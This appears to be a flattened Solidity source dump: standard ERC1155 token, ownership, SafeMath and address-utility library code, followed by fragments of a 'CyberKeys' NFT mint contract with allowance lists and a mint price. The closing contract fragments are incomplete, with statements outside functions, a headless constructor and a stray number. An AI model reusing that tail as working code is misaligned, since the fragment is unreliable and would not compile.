https://eips.ethereum.org/EIPS/eip-1155 * Originally based on code by Enjin: https://github.com/enjin/erc-1155 * * _Available since v3.1._ */ contract ERC1155 is Context, ERC165, IERC1155, IERC1155MetadataURI { using Address for address; // Mapping from token ID to account balances mapping(uint256 => mapping(address => uint256)) private _balances; // Mapping from account to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; // Used as the URI for all token types by relying on ID substitution, e.g. https://token-cdn-domain/{id}.json string private _uri; /** * @dev See {_setURI}. */ constructor(string memory uri_) { _setURI(uri_); } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC1155).interfaceId || interfaceId == type(IERC1155MetadataURI).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC1155MetadataURI-uri}. * * This implementation returns the same URI for *all* token types. It relies * on the token type ID substitution mechanism * https://eips.ethereum.org/EIPS/eip-1155#metadata[defined in the EIP]. * * Clients calling this function must replace the `\{id\}` substring with the * actual token type ID. */ function uri(uint256) public view virtual override returns (string memory) { return _uri; } /** * @dev See {IERC1155-balanceOf}. * * Requirements: * * - `account` cannot be the zero address. */ function balanceOf(address account, uint256 id) public view virtual override returns (uint256) { require(account != address(0), "ERC1155: balance query for the zero address"); return _balances[id][account]; } /** * @dev See {IERC1155-balanceOfBatch}. * * Requirements: * * - `accounts` and `ids` must have the same length. */ function balanceOfBatch(address[] memory accounts, uint256[] memory ids) public view virtual override returns (uint256[] memory) { require(accounts.length == ids.length, "ERC1155: accounts and ids length mismatch"); uint256[] memory batchBalances = new uint256[](accounts.length); for (uint256 i = 0; i < accounts.length; ++i) { batchBalances[i] = balanceOf(accounts[i], ids[i]); } return batchBalances; } /** * @dev See {IERC1155-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { require(_msgSender() != operator, "ERC1155: setting approval status for self"); _operatorApprovals[_msgSender()][operator] = approved; emit ApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC1155-isApprovedForAll}. */ function isApprovedForAll(address account, address operator) public view virtual override returns (bool) { return _operatorApprovals[account][operator]; } /** * @dev See {IERC1155-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 id, uint256 amount, bytes memory data ) public virtual override { require( from == _msgSender() || isApprovedForAll(from, _msgSender()), "ERC1155: caller is not owner nor approved" ); _safeTransferFrom(from, to, id, amount, data); } /** * @dev See {IERC1155-safeBatchTransferFrom}. */ function safeBatchTransferFrom( address from, address to, uint256[] memory ids, uint256[] memory amounts, bytes memory data ) public virtual override { require( from == _msgSender() || isApprovedForAll(from, _msgSender()), "ERC1155: transfer caller is not owner nor approved" ); _safeBatchTransferFrom(from, to, ids, amounts, data); } /** * @dev Transfers `amount` tokens of token type `id` from `from` to `to`. * * Emits a {TransferSingle} event. * * Requirements: * * - `to` cannot be the zero address. * - `from` must have a balance of tokens of type `id` of at least `amount`. * - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155Received} and return the * acceptance magic value. */ function _safeTransferFrom( address from, address to, uint256 id, uint256 amount, bytes memory data ) internal virtual { require(to != address(0), "ERC1155: transfer to the zero address"); address operator = _msgSender(); _beforeTokenTransfer(operator, from, to, _asSingletonArray(id), _asSingletonArray(amount), data); uint256 fromBalance = _balances[id][from]; require(fromBalance >= amount, "ERC1155: insufficient balance for transfer"); unchecked { _balances[id][from] = fromBalance - amount; } _balances[id][to] += amount; emit TransferSingle(operator, from, to, id, amount); _doSafeTransferAcceptanceCheck(operator, from, to, id, amount, data); } /** * @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {_safeTransferFrom}. * * Emits a {TransferBatch} event. * * Requirements: * * - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155BatchReceived} and return the * acceptance magic value. */ function _safeBatchTransferFrom( address from, address to, uint256[] memory ids, uint256[] memory amounts, bytes memory data ) internal virtual { require(ids.length == amounts.length, "ERC1155: ids and amounts length mismatch"); require(to != address(0), "ERC1155: transfer to the zero address"); address operator = _msgSender(); _beforeTokenTransfer(operator, from, to, ids, amounts, data); for (uint256 i = 0; i < ids.length; ++i) { uint256 id = ids[i]; uint256 amount = amounts[i]; uint256 fromBalance = _balances[id][from]; require(fromBalance >= amount, "ERC1155: insufficient balance for transfer"); unchecked { _balances[id][from] = fromBalance - amount; } _balances[id][to] += amount; } emit TransferBatch(operator, from, to, ids, amounts); _doSafeBatchTransferAcceptanceCheck(operator, from, to, ids, amounts, data); } /** * @dev Sets a new URI for all token types, by relying on the token type ID * substitution mechanism * https://eips.ethereum.org/EIPS/eip-1155#metadata[defined in the EIP]. * * By this mechanism, any occurrence of the `\{id\}` substring in either the * URI or any of the amounts in the JSON file at said URI will be replaced by * clients with the token type ID. * * For example, the `https://token-cdn-domain/\{id\}.json` URI would be * interpreted by clients as * `https://token-cdn-domain/000000000000000000000000000000000000000000000000000000000004cce0.json` * for token type ID 0x4cce0. * * See {uri}. * * Because these URIs cannot be meaningfully represented by the {URI} event, * this function emits no events. */ function _setURI(string memory newuri) internal virtual { _uri = newuri; } /** * @dev Creates `amount` tokens of token type `id`, and assigns them to `account`. * * Emits a {TransferSingle} event. * * Requirements: * * - `account` cannot be the zero address. * - If `account` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155Received} and return the * acceptance magic value. */ function _mint( address account, uint256 id, uint256 amount, bytes memory data ) internal virtual { require(account != address(0), "ERC1155: mint to the zero address"); address operator = _msgSender(); _beforeTokenTransfer(operator, address(0), account, _asSingletonArray(id), _asSingletonArray(amount), data); _balances[id][account] += amount; emit TransferSingle(operator, address(0), account, id, amount); _doSafeTransferAcceptanceCheck(operator, address(0), account, id, amount, data); } /** * @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {_mint}. * * Requirements: * * - `ids` and `amounts` must have the same length. * - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155BatchReceived} and return the * acceptance magic value. */ function _mintBatch( address to, uint256[] memory ids, uint256[] memory amounts, bytes memory data ) internal virtual { require(to != address(0), "ERC1155: mint to the zero address"); require(ids.length == amounts.length, "ERC1155: ids and amounts length mismatch"); address operator = _msgSender(); _beforeTokenTransfer(operator, address(0), to, ids, amounts, data); for (uint256 i = 0; i < ids.length; i++) { _balances[ids[i]][to] += amounts[i]; } emit TransferBatch(operator, address(0), to, ids, amounts); _doSafeBatchTransferAcceptanceCheck(operator, address(0), to, ids, amounts, data); } /** * @dev Destroys `amount` tokens of token type `id` from `account` * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens of token type `id`. */ function _burn( address account, uint256 id, uint256 amount ) internal virtual { require(account != address(0), "ERC1155: burn from the zero address"); address operator = _msgSender(); _beforeTokenTransfer(operator, account, address(0), _asSingletonArray(id), _asSingletonArray(amount), ""); uint256 accountBalance = _balances[id][account]; require(accountBalance >= amount, "ERC1155: burn amount exceeds balance"); unchecked { _balances[id][account] = accountBalance - amount; } emit TransferSingle(operator, account, address(0), id, amount); } /** * @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {_burn}. * * Requirements: * * - `ids` and `amounts` must have the same length. */ function _burnBatch( address account, uint256[] memory ids, uint256[] memory amounts ) internal virtual { require(account != address(0), "ERC1155: burn from the zero address"); require(ids.length == amounts.length, "ERC1155: ids and amounts length mismatch"); address operator = _msgSender(); _beforeTokenTransfer(operator, account, address(0), ids, amounts, ""); for (uint256 i = 0; i < ids.length; i++) { uint256 id = ids[i]; uint256 amount = amounts[i]; uint256 accountBalance = _balances[id][account]; require(accountBalance >= amount, "ERC1155: burn amount exceeds balance"); unchecked { _balances[id][account] = accountBalance - amount; } } emit TransferBatch(operator, account, address(0), ids, amounts); } /** * @dev Hook that is called before any token transfer. This includes minting * and burning, as well as batched variants. * * The same hook is called on both single and batched variants. For single * transfers, the length of the `id` and `amount` arrays will be 1. * * Calling conditions (for each `id` and `amount` pair): * * - When `from` and `to` are both non-zero, `amount` of ``from``'s tokens * of token type `id` will be transferred to `to`. * - When `from` is zero, `amount` tokens of token type `id` will be minted * for `to`. * - when `to` is zero, `amount` of ``from``'s tokens of token type `id` * will be burned. * - `from` and `to` are never both zero. * - `ids` and `amounts` have the same, non-zero length. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address operator, address from, address to, uint256[] memory ids, uint256[] memory amounts, bytes memory data ) internal virtual {} function _doSafeTransferAcceptanceCheck( address operator, address from, address to, uint256 id, uint256 amount, bytes memory data ) private { if (to.isContract()) { try IERC1155Receiver(to).onERC1155Received(operator, from, id, amount, data) returns (bytes4 response) { if (response != IERC1155Receiver.onERC1155Received.selector) { revert("ERC1155: ERC1155Receiver rejected tokens"); } } catch Error(string memory reason) { revert(reason); } catch { revert("ERC1155: transfer to non ERC1155Receiver implementer"); } } } function _doSafeBatchTransferAcceptanceCheck( address operator, address from, address to, uint256[] memory ids, uint256[] memory amounts, bytes memory data ) private { if (to.isContract()) { try IERC1155Receiver(to).onERC1155BatchReceived(operator, from, ids, amounts, data) returns ( bytes4 response ) { if (response != IERC1155Receiver.onERC1155BatchReceived.selector) { revert("ERC1155: ERC1155Receiver rejected tokens"); } } catch Error(string memory reason) { revert(reason); } catch { revert("ERC1155: transfer to non ERC1155Receiver implementer"); } } } function _asSingletonArray(uint256 element) private pure returns (uint256[] memory) { uint256[] memory array = new uint256[](1); array[0] = element; return array; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../ERC1155.sol"; /** * @dev Extension of ERC1155 that adds tracking of total supply per id. * * Useful for scenarios where Fungible and Non-fungible tokens have to be * clearly identified. Note: While a totalSupply of 1 might mean the * corresponding is an NFT, there is no guarantees that no other token with the * same id are not going to be minted. */ abstract contract ERC1155Supply is ERC1155 { mapping(uint256 => uint256) private _totalSupply; /** * @dev Total amount of tokens in with a given id. */ function totalSupply(uint256 id) public view virtual returns (uint256) { return _totalSupply[id]; } /** * @dev Indicates weither any token exist with a given id, or not. */ function exists(uint256 id) public view virtual returns (bool) { return ERC1155Supply.totalSupply(id) > 0; } /** * @dev See {ERC1155-_mint}. */ function _mint( address account, uint256 id, uint256 amount, bytes memory data ) internal virtual override { super._mint(account, id, amount, data); _totalSupply[id] += amount; } /** * @dev See {ERC1155-_mintBatch}. */ function _mintBatch( address to, uint256[] memory ids, uint256[] memory amounts, bytes memory data ) internal virtual override { super._mintBatch(to, ids, amounts, data); for (uint256 i = 0; i < ids.length; ++i) { _totalSupply[ids[i]] += amounts[i]; } } /** * @dev See {ERC1155-_burn}. */ function _burn( address account, uint256 id, uint256 amount ) internal virtual override { super._burn(account, id, amount); _totalSupply[id] -= amount; } /** * @dev See {ERC1155-_burnBatch}. */ function _burnBatch( address account, uint256[] memory ids, uint256[] memory amounts ) internal virtual override { super._burnBatch(account, ids, amounts); for (uint256 i = 0; i < ids.length; ++i) { _totalSupply[ids[i]] -= amounts[i]; } } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../IERC1155.sol"; /** * @dev Interface of the optional ERC1155MetadataExtension interface, as defined * in the https://eips.ethereum.org/EIPS/eip-1155#metadata-extensions[EIP]. * * _Available since v3.1._ */ interface IERC1155MetadataURI is IERC1155 { /** * @dev Returns the URI for token type `id`. * * If the `\{id\}` substring is present in the URI, it must be replaced by * clients with the actual token type ID. */ function uri(uint256 id) external view returns (string memory); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../utils/Context.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _setOwner(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _setOwner(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _setOwner(newOwner); } function _setOwner(address newOwner) private { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; // CAUTION // This version of SafeMath should only be used with Solidity 0.8 or later, // because it relies on the compiler's built in overflow checks. /** * @dev Wrappers over Solidity's arithmetic operations. * * NOTE: `SafeMath` is no longer needed starting with Solidity 0.8. The compiler * now has built in overflow checking. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b > a) return (false, 0); return (true, a - b); } } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a / b); } } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a % b); } } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { return a + b; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { return a * b; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b <= a, errorMessage); return a - b; } } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a / b; } } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a % b; } } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../../utils/introspection/IERC165.sol"; /** * @dev Required interface of an ERC1155 compliant contract, as defined in the * https://eips.ethereum.org/EIPS/eip-1155[EIP]. * * _Available since v3.1._ */ interface IERC1155 is IERC165 { /** * @dev Emitted when `value` tokens of token type `id` are transferred from `from` to `to` by `operator`. */ event TransferSingle(address indexed operator, address indexed from, address indexed to, uint256 id, uint256 value); /** * @dev Equivalent to multiple {TransferSingle} events, where `operator`, `from` and `to` are the same for all * transfers. */ event TransferBatch( address indexed operator, address indexed from, address indexed to, uint256[] ids, uint256[] values ); /** * @dev Emitted when `account` grants or revokes permission to `operator` to transfer their tokens, according to * `approved`. */ event ApprovalForAll(address indexed account, address indexed operator, bool approved); /** * @dev Emitted when the URI for token type `id` changes to `value`, if it is a non-programmatic URI. * * If an {URI} event was emitted for `id`, the standard * https://eips.ethereum.org/EIPS/eip-1155#metadata-extensions[guarantees] that `value` will equal the value * returned by {IERC1155MetadataURI-uri}. */ event URI(string value, uint256 indexed id); /** * @dev Returns the amount of tokens of token type `id` owned by `account`. * * Requirements: * * - `account` cannot be the zero address. */ function balanceOf(address account, uint256 id) external view returns (uint256); /** * @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {balanceOf}. * * Requirements: * * - `accounts` and `ids` must have the same length. */ function balanceOfBatch(address[] calldata accounts, uint256[] calldata ids) external view returns (uint256[] memory); /** * @dev Grants or revokes permission to `operator` to transfer the caller's tokens, according to `approved`, * * Emits an {ApprovalForAll} event. * * Requirements: * * - `operator` cannot be the caller. */ function setApprovalForAll(address operator, bool approved) external; /** * @dev Returns true if `operator` is approved to transfer ``account``'s tokens. * * See {setApprovalForAll}. */ function isApprovedForAll(address account, address operator) external view returns (bool); /** * @dev Transfers `amount` tokens of token type `id` from `from` to `to`. * * Emits a {TransferSingle} event. * * Requirements: * * - `to` cannot be the zero address. * - If the caller is not `from`, it must be have been approved to spend ``from``'s tokens via {setApprovalForAll}. * - `from` must have a balance of tokens of type `id` of at least `amount`. * - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155Received} and return the * acceptance magic value. */ function safeTransferFrom( address from, address to, uint256 id, uint256 amount, bytes calldata data ) external; /** * @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {safeTransferFrom}. * * Emits a {TransferBatch} event. * * Requirements: * * - `ids` and `amounts` must have the same length. * - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155BatchReceived} and return the * acceptance magic value. */ function safeBatchTransferFrom( address from, address to, uint256[] calldata ids, uint256[] calldata amounts, bytes calldata data ) external; } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../../utils/introspection/IERC165.sol"; /** * @dev _Available since v3.1._ */ interface IERC1155Receiver is IERC165 { /** @dev Handles the receipt of a single ERC1155 token type. This function is called at the end of a `safeTransferFrom` after the balance has been updated. To accept the transfer, this must return `bytes4(keccak256("onERC1155Received(address,address,uint256,uint256,bytes)"))` (i.e. 0xf23a6e61, or its own function selector). @param operator The address which initiated the transfer (i.e. msg.sender) @param from The address which previously owned the token @param id The ID of the token being transferred @param value The amount of tokens being transferred @param data Additional data with no specified format @return `bytes4(keccak256("onERC1155Received(address,address,uint256,uint256,bytes)"))` if transfer is allowed */ function onERC1155Received( address operator, address from, uint256 id, uint256 value, bytes calldata data ) external returns (bytes4); /** @dev Handles the receipt of a multiple ERC1155 token types. This function is called at the end of a `safeBatchTransferFrom` after the balances have been updated. To accept the transfer(s), this must return `bytes4(keccak256("onERC1155BatchReceived(address,address,uint256[],uint256[],bytes)"))` (i.e. 0xbc197c81, or its own function selector). @param operator The address which initiated the batch transfer (i.e. msg.sender) @param from The address which previously owned the token @param ids An array containing ids of each token being transferred (order and length must match values array) @param values An array containing amounts of each token being transferred (order and length must match ids array) @param data Additional data with no specified format @return `bytes4(keccak256("onERC1155BatchReceived(address,address,uint256[],uint256[],bytes)"))` if transfer is allowed */ function onERC1155BatchReceived( address operator, address from, uint256[] calldata ids, uint256[] calldata values, bytes calldata data ) external returns (bytes4); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./IERC165.sol"; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); }
uint256[] private robots = [5,9,15,20,24,64,107,218,229,241,242,293,297,303,312,335,353,370,375,387,389,438,442,444,473]; uint256[] private reptiles = [46,49,50,78,83,88,92,99,126,160,170,205,269,280,317,324,332,367,390,408,416,435,440,471,482]; uint256[] private zombies = [7, 14, 31, 55, 69, 100, 101, 108, 110,114, 122, 125, 137, 141, 149, 150, 152, 173,174, 196, 209, 227, 230, 231, 236, 264, 268, 271, 277, 285, 295, 296, 306, 310, 313, 323,333, 340, 343, 345, 346, 361, 373, 385, 392,412, 436, 459, 461, 486]; uint256[] private witches = [19, 38, 62, 75, 84, 98, 120, 129, 130,135, 136, 142, 146, 157, 164, 168, 177, 187,221, 224, 239, 240, 259, 261, 274, 275, 276, 281, 286, 288, 294, 304, 308, 325, 329, 330,342, 349, 360, 368, 369, 380, 384, 407, 417,453, 465, 472, 485, 491]; uint256[] private aliens = [22, 40, 42, 43, 44, 51, 56, 67, 74,87, 123, 124, 132, 133, 153, 158, 159, 166,176, 195, 206, 215, 219, 226, 237, 244, 247, 256, 267, 299, 341, 344, 352, 358, 359, 363,374, 399, 431, 447, 448, 457, 463, 466, 469,474, 475, 487, 494, 497]; setAllowance(robots, 12); setAllowance(reptiles, 10); setAllowance(zombies, 8); setAllowance(witches, 7); setAllowance(aliens, 6);
contract CyberKeys is ERC1155Supply, Ownable { using SafeMath for uint256; address private _manager; address public cyberbabiesAddress = 0x991A546A167cEb2a6a7C344C9D85269Ac03035D9; CyberbabiesInterface cyberbabiesContract; bool public allowanceSaleIsActive = false; bool public publicSaleIsActive = false; uint256 public mintPrice = 0.03 ether; uint256 public maxSupply = 2500; uint256 public claimedSupply = 0; mapping(uint256=>uint8) public allowance; uint8 constant private _tokenId = 1; cyberbabiesContract = CyberbabiesInterface(cybbAddress); _mint(owner(), _tokenId, 1, ""); }
490,887
